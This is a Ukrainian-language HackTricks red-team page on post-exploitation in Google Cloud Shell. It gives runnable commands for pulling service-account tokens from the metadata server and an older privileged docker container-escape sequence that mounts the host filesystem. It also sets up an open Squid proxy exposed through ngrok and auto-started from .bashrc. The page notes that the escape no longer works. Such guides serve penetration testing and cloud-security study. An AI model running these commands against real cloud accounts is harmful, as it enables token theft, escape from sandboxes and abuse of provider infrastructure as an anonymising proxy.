GCP - Cloud Shell Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Cloud Shell

Для отримання додаткової інформації про Cloud Shell дивіться:

GCP - Cloud Shell Enum

Отримання token користувача з metadata

Просто отримавши доступ до metadata server, ви можете отримати token, щоб діяти від імені поточного увійшовшого користувача:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

Раніше cloud shell запускався в контейнері з доступом до docker socket хоста. Тепер Google змінила архітектуру, і контейнер cloud shell працює в конфігурації “Docker in a container”. Тож навіть якщо можливо використовувати docker з cloud shell, ви не зможете escape to the host, використовуючи docker socket. Зауважте, що раніше файл docker.sock знаходився в /google/host/var/run/docker.sock, але тепер його перемістили в /run/docker.sock.

Docker use / Old container escape commands ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

Крім того, раніше можна було знайти токен для service account, який використовувався cloud shell VM, на metadata server:

Старий service account із metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` З наступними областями доступу: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### Використати як Proxy

Якщо ви хочете використати ваш google cloud shell instance як proxy, треба виконати такі команди (або вставити їх у файл .bashrc):

<details>

<summary>Встановити Squid proxy</summary>
```bash
sudo apt install -y squid

Для довідки, Squid — це http proxy server. Створіть файл squid.conf з такими налаштуваннями:

Create squid.conf file ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

скопіюйте файл squid.conf до /etc/squid

Скопіювати конфігурацію до /etc/squid ```bash sudo cp squid.conf /etc/squid ```

Нарешті запустіть сервіс squid:

Запустіть сервіс squid ```bash sudo service squid start ```

Використовуйте ngrok, щоб зробити proxy доступним зовні:

Відкрити proxy через ngrok ```bash ./ngrok tcp 3128 ```

Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і порт та вказати порт у полі портів у налаштуваннях проксі вашого браузера (squid — це http proxy server).

Для зручнішого використання при старті файл .bashrc має містити такі рядки:

Додати в .bashrc для автоматичного запуску ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

Інструкції були скопійовані з https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть Windows) у Cloud Shell.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks